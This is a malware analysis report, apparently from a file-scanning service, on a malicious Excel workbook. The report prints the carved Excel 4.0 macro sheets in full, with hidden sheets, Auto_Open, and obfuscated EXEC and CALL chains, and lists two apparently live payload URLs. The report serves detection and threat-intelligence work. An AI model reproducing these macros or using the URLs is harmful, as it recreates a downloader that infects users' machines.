MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The file is an XLSM document containing Excel 4.0 macros, indicated by the 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_AUTOOPEN_DEFINEDNAME' heuristics. The macros utilize dangerous functions like 'EXEC' and 'CALL' to execute arbitrary code, as identified by the 'OOXML_XLM_DANGEROUS_FN' heuristic. These functions are used to construct and execute commands, likely to download and run a second-stage payload from the embedded URLs. The specific reconstructed command for execution is 'EXEC(Sheet2!BD22&Sheet2!BD23&Sheet2!BD24&Sheet2!BD30&"2 "&Sheet2!BC10&Sheet2!BF31&Sheet2!BC23&Sheet2!BC24&Sheet2!BC25&Sheet2!BC26)'.
Heuristics 4
-
Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
-
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAMEWorkbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
-
Dangerous XLM formula APIs: WORKBOOK.HIDE, EXEC, CALL, HALT, FORMULA critical OOXML_XLM_DANGEROUS_FNExcel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://extendonetwork.com/puZyLuatL0W/04.html In document text (OOXML body / shared strings)
- https://jarettwalen.com/vspeL07tgk5F/04.htmlIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
emf_00.emf442eb38c1c88060cf62c1fd88f48f9b8961edd687fe9250cf42ff79baf20ccae |
ooxml-emf | OOXML EMF part: xl/media/image1.emf | 296536 bytes |
xlm_sheet_00.xmle2d0c69c580969a640d565ee7f4c9f99c84cac5b5d64c997ece3e584778305c8 |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet1.xml | 1638 bytes |
Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="BG41:BG44"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="58" max="58" width="4.5703125" customWidth="1"/><col min="59" max="59" width="4.5703125" hidden="1" customWidth="1"/></cols><sheetData><row r="41" spans="59:59" x14ac:dyDescent="0.25"><c r="BG41" t="b"><f>WORKBOOK.HIDE("Sheet1",1)</f><v>0</v></c></row><row r="42" spans="59:59" x14ac:dyDescent="0.25"><c r="BG42" t="b"><f>WORKBOOK.HIDE("Sheet2",1)</f><v>0</v></c></row><row r="44" spans="59:59" x14ac:dyDescent="0.25"><c r="BG44" s="1" t="b"><f>EXEC(Sheet2!BD22&Sheet2!BD23&Sheet2!BD24&Sheet2!BD30&"2 "&Sheet2!BC10&Sheet2!BF31&Sheet2!BC23&Sheet2!BC24&Sheet2!BC25&Sheet2!BC26)=9844+54649+946654=EXEC(Sheet2!BD22&Sheet2!BD23&Sheet2!BD24&Sheet2!BD30&"2 "&Sheet2!BC9&Sheet2!BF31&Sheet2!BC23&Sheet2!BC24&Sheet2!BC25&Sheet2!BC26)=6984546+464984=Sheet2!BG8()=4984+948645+96464</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
|
|||
xlm_sheet_01.xmlbc0107a78ea6ba702702ddf8b745f24672051acbfa84cd527ab65f9785d5a729 |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet2.xml | 3777 bytes |
Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A4:BK134"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="50" width="4.5703125" style="1"/><col min="51" max="51" width="4.5703125" style="1" customWidth="1"/><col min="52" max="63" width="4.5703125" style="1" hidden="1" customWidth="1"/><col min="64" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="4" spans="52:63" x14ac:dyDescent="0.25"><c r="BK4" s="1"><f>CALL(Sheet2!AZ15,Sheet2!AZ16,Sheet2!AZ17,0,AZ9,BC9,0,!AL21)</f><v>0</v></c></row><row r="5" spans="52:63" x14ac:dyDescent="0.25"><c r="BK5" s="1" t="b"><f>CALL(Sheet2!AZ15,Sheet2!AZ16,Sheet2!AZ17,0,AZ10,BC10,0,!AL21)=Sheet1!BG40()</f><v>1</v></c></row><row r="9" spans="52:63" x14ac:dyDescent="0.25"><c r="AZ9" t="s"><v>25</v></c><c r="BC9" s="1" t="s"><v>23</v></c></row><row r="10" spans="52:63" x14ac:dyDescent="0.25"><c r="AZ10" t="s"><v>26</v></c><c r="BC10" s="1" t="s"><v>22</v></c></row><row r="12" spans="52:63" x14ac:dyDescent="0.25"><c r="BG12" t="b"><f>HALT()</f><v>1</v></c></row><row r="16" spans="52:63" x14ac:dyDescent="0.25"><c r="BK16" s="1" t="b"><f>FORMULA(Sheet2!BF26&Sheet2!BG26,Sheet2!AZ17)=FORMULA.ARRAY(Sheet2!BE25&Sheet2!BE29&Sheet2!BH28&Sheet2!BE28&Sheet2!BE31&Sheet2!BH29&Sheet2!BF28,Sheet2!AZ16)=FORMULA.ARRAY(Sheet2!BE25&Sheet2!BE26&Sheet2!BE27,Sheet2!AZ15)=BK2()</f><v>1</v></c></row><row r="22" spans="51:60" x14ac:dyDescent="0.25"><c r="BD22" s="1" t="s"><v>0</v></c></row><row r="23" spans="51:60" x14ac:dyDescent="0.25"><c r="BC23" s="1" t="s"><v>1</v></c><c r="BD23" s="1" t="s"><v>2</v></c><c r="BF23" s="1" t="s"><v>3</v></c></row><row r="24" spans="51:60" x14ac:dyDescent="0.25"><c r="BC24" s="1" t="s"><v>4</v></c><c r="BD24" s="1" t="s"><v>5</v></c></row><row r="25" spans="51:60" x14ac:dyDescent="0.25"><c r="BC25" s="1" t="s"><v>6</v></c><c r="BE25" s="1" t="s"><v>7</v></c></row><row r="26" spans="51:60" x14ac:dyDescent="0.25"><c r="BC26" s="1" t="s"><v>8</v></c><c r="BE26" s="1" t="s"><v>9</v></c><c r="BF26" s="1" t="s"><v>10</v></c><c r="BG26" s="1" t="s"><v>11</v></c><c r="BH26" s="1"><v>0</v></c></row><row r="27" spans="51:60" x14ac:dyDescent="0.25"><c r="BE27" s="1" t="s"><v>12</v></c></row><row r="28" spans="51:60" x14ac:dyDescent="0.25"><c r="BE28" s="1" t="s"><v>13</v></c><c r="BF28" s="1" t="s"><v>14</v></c><c r="BH28" s="1" t="s"><v>15</v></c></row><row r="29" spans="51:60" x14ac:dyDescent="0.25"><c r="BE29" s="1" t="s"><v>16</v></c><c r="BH29" s="1" t="s"><v>17</v></c></row><row r="30" spans="51:60" x14ac:dyDescent="0.25"><c r="AY30"/><c r="BD30" s="1"><v>3</v></c></row><row r="31" spans="51:60" x14ac:dyDescent="0.25"><c r="AY31"/><c r="BE31" s="1" t="s"><v>18</v></c><c r="BF31" s="1" t="s"><v>19</v></c></row><row r="32" spans="51:60" x14ac:dyDescent="0.25"><c r="AY32"/></row><row r="33" spans="56:57" x14ac:dyDescent="0.25"><c r="BD33" s="1"><v>0</v></c><c r="BE33" s="1"><v>0</v></c></row><row r="131" spans="1:2" x14ac:dyDescent="0.25"><c r="A131" s="1" t="s"><v>20</v></c></row><row r="134" spans="1:2" x14ac:dyDescent="0.25"><c r="B134" s="1" t="s"><v>21</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet> |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.